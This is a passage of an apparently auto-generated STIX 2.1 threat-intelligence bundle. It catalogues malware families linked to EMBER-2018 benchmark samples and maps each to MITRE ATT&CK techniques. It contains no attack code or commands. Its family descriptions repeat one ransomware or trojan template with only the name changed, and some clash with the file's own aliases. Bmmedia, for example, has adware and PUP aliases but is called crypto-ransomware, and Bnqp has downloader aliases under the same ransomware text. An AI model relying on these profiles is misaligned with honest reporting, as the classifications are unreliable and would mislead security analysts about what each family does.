      "source_ref": "malware--f9fa54bc-af4f-58f9-874e-a48f1db9b867",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluewushu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6509a6e0-076c-5a03-b620-74474e46ccb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9fa54bc-af4f-58f9-874e-a48f1db9b867",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluewushu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cff04a0e-ef0e-58f9-b1d7-efef75f07c10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9fa54bc-af4f-58f9-874e-a48f1db9b867",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluewushu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99062183-5847-5dc5-9aef-7169afd901e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9fa54bc-af4f-58f9-874e-a48f1db9b867",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluewushu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a21596aa-4118-5b4d-8bf7-73ab2777505b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f9fa54bc-af4f-58f9-874e-a48f1db9b867",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluewushu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--93ef676b-fc9b-5942-a733-b41ff4793bff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bluteal",
      "description": "Bluteal (classified in antivirus detection telemetry under designations including Ransom:Win32/Bluteal, Ransom.Win32.Bluteal, and Win32/Bluteal) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bluteal executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bluteal",
        "Ransom.Win32.Bluteal",
        "Win32/Bluteal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bluteal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bluteal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae58e63c-402d-5561-ad48-46f9957c019f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ef676b-fc9b-5942-a733-b41ff4793bff",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluteal exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--908881db-116e-5494-a239-427a45bb0be5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ef676b-fc9b-5942-a733-b41ff4793bff",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluteal exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f44eb00f-db80-5c2d-bab1-ec7f363155eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ef676b-fc9b-5942-a733-b41ff4793bff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluteal exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5c6e7fc-db9b-54c7-a813-809bffb82ca4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ef676b-fc9b-5942-a733-b41ff4793bff",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluteal exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6600ba9f-23cf-5f78-8dac-88ba1bd4b968",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--93ef676b-fc9b-5942-a733-b41ff4793bff",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bluteal exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f76995c4-2bca-5eaf-9533-70a6f4342b62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bmgfrznl2Gfaa",
      "description": "Bmgfrznl2Gfaa (classified in antivirus detection telemetry under designations including Ransom:Win32/Bmgfrznl2Gfaa, Ransom.Win32.Bmgfrznl2Gfaa, and Win32/Bmgfrznl2Gfaa) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bmgfrznl2Gfaa executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.bmgfrznl2gfaa",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur",
        "Ransom:Win32/Bmgfrznl2Gfaa",
        "Ransom.Win32.Bmgfrznl2Gfaa",
        "Win32/Bmgfrznl2Gfaa"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bmgfrznl2Gfaa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bmgfrznl2gfaa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40aca0b6-92d9-5301-a683-33f2b5c3be3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f76995c4-2bca-5eaf-9533-70a6f4342b62",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmgfrznl2Gfaa exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--095fac6d-3494-5e7a-b234-2fa96ec4e2a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f76995c4-2bca-5eaf-9533-70a6f4342b62",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmgfrznl2Gfaa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6f0298c-569b-534e-a986-4a4cb102c4e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f76995c4-2bca-5eaf-9533-70a6f4342b62",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmgfrznl2Gfaa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1106: Native API",
      "description": "MITRE ATT&CK Technique T1106 (Native API) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1106",
          "url": "https://attack.mitre.org/techniques/T1106/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d41ca950-9a2c-5e96-b73e-45bfb00da0ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f76995c4-2bca-5eaf-9533-70a6f4342b62",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmgfrznl2Gfaa exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a000b5f-7286-532d-b403-dcfdcb663bc6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bmkfxasqf6Ki",
      "description": "Bmkfxasqf6Ki (classified in antivirus detection telemetry under designations including Trojan:Win32/Bmkfxasqf6Ki, Trojan.Win32.Bmkfxasqf6Ki, and Win32/Bmkfxasqf6Ki) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bmkfxasqf6Ki executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Bmkfxasqf6ki",
        "Heur.Bmkfxasqf6ki",
        "Trojan:Win32/Bmkfxasqf6Ki",
        "Trojan.Win32.Bmkfxasqf6Ki",
        "Win32/Bmkfxasqf6Ki"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bmkfxasqf6Ki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bmkfxasqf6ki"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--476e8e60-8130-53ec-bb1a-3d3b2b06acde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a000b5f-7286-532d-b403-dcfdcb663bc6",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmkfxasqf6Ki exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b703f460-e474-57f9-adbe-525a9b252ba7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a000b5f-7286-532d-b403-dcfdcb663bc6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmkfxasqf6Ki exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--402d4906-1ed0-51d3-bdba-56106808c4c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6a000b5f-7286-532d-b403-dcfdcb663bc6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmkfxasqf6Ki exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db4ecf4b-63dd-5458-b676-596dadd76125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bmmedia",
      "description": "Bmmedia (classified in antivirus detection telemetry under designations including Ransom:Win32/Bmmedia, Ransom.Win32.Bmmedia, and Win32/Bmmedia) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bmmedia executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.BMMedia",
        "PUP.BMMedia",
        "BrowserModifier.BMMedia",
        "Ransom:Win32/Bmmedia",
        "Ransom.Win32.Bmmedia",
        "Win32/Bmmedia"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bmmedia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bmmedia"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5be6790e-c0f0-5124-a8e5-381ca44f04da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db4ecf4b-63dd-5458-b676-596dadd76125",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmmedia exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cf36eee-5554-5c31-a848-bf360dc2a333",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db4ecf4b-63dd-5458-b676-596dadd76125",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmmedia exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c764598-f80f-5a6a-bb68-aa8d34d9df34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db4ecf4b-63dd-5458-b676-596dadd76125",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmmedia exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eefdabf3-94ec-5de3-8f21-06a326639c3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bmsdus4Ufhei",
      "description": "Bmsdus4Ufhei (classified in antivirus detection telemetry under designations including Ransom:Win32/Bmsdus4Ufhei, Ransom.Win32.Bmsdus4Ufhei, and Win32/Bmsdus4Ufhei) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bmsdus4Ufhei executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.bmsdus4ufhei",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur",
        "Ransom:Win32/Bmsdus4Ufhei",
        "Ransom.Win32.Bmsdus4Ufhei",
        "Win32/Bmsdus4Ufhei"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bmsdus4Ufhei",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bmsdus4ufhei"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98c0e210-26bd-50af-b9b7-d720854a5ec3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eefdabf3-94ec-5de3-8f21-06a326639c3f",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmsdus4Ufhei exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ce56c5b-cf62-5110-847d-e0c28bf7119b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eefdabf3-94ec-5de3-8f21-06a326639c3f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmsdus4Ufhei exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0dd115d-c724-5700-bd9f-1c413d82f02a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eefdabf3-94ec-5de3-8f21-06a326639c3f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmsdus4Ufhei exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05e081de-58d9-5e09-977e-4eb88e8cd2f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eefdabf3-94ec-5de3-8f21-06a326639c3f",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bmsdus4Ufhei exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4b51f3e4-650d-561b-8dc0-9de9d8ac299e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bnksa",
      "description": "Bnksa (classified in antivirus detection telemetry under designations including Trojan:Win32/Bnksa, Trojan.Win32.Bnksa, and Win32/Bnksa) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bnksa executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bnksa",
        "Trojan-Banker.Win32.Bnksa",
        "Banker.Bnksa",
        "Trojan:Win32/Bnksa",
        "Trojan.Win32.Bnksa",
        "Win32/Bnksa"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bnksa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bnksa"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2341ddf6-7a74-55dd-95f1-4dd4bbd45549",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b51f3e4-650d-561b-8dc0-9de9d8ac299e",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnksa exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9db1dd66-f53c-53b8-8a9e-d70450780f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b51f3e4-650d-561b-8dc0-9de9d8ac299e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnksa exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36dd0fb4-2cf3-5fdd-9ca7-94f22b921796",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b51f3e4-650d-561b-8dc0-9de9d8ac299e",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnksa exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ff8abe8-a9bd-5c6b-a210-b61852e5fe18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4b51f3e4-650d-561b-8dc0-9de9d8ac299e",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnksa exhibits technique T1111 (Two-Factor Authentication Interception)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1525b8fd-7b7d-52de-ba58-4fbcb425122d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bnqp",
      "description": "Bnqp (classified in antivirus detection telemetry under designations including Ransom:Win32/Bnqp, Ransom.Win32.Bnqp, and Win32/Bnqp) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bnqp executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bnqp",
        "Downloader.Bnqp",
        "Win32/Bnqp",
        "Ransom:Win32/Bnqp",
        "Ransom.Win32.Bnqp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bnqp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bnqp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ce105be-f614-50a2-8c02-ecc325f35372",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1525b8fd-7b7d-52de-ba58-4fbcb425122d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnqp exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3433278c-8e9b-5e01-9f44-02794c899d61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1525b8fd-7b7d-52de-ba58-4fbcb425122d",
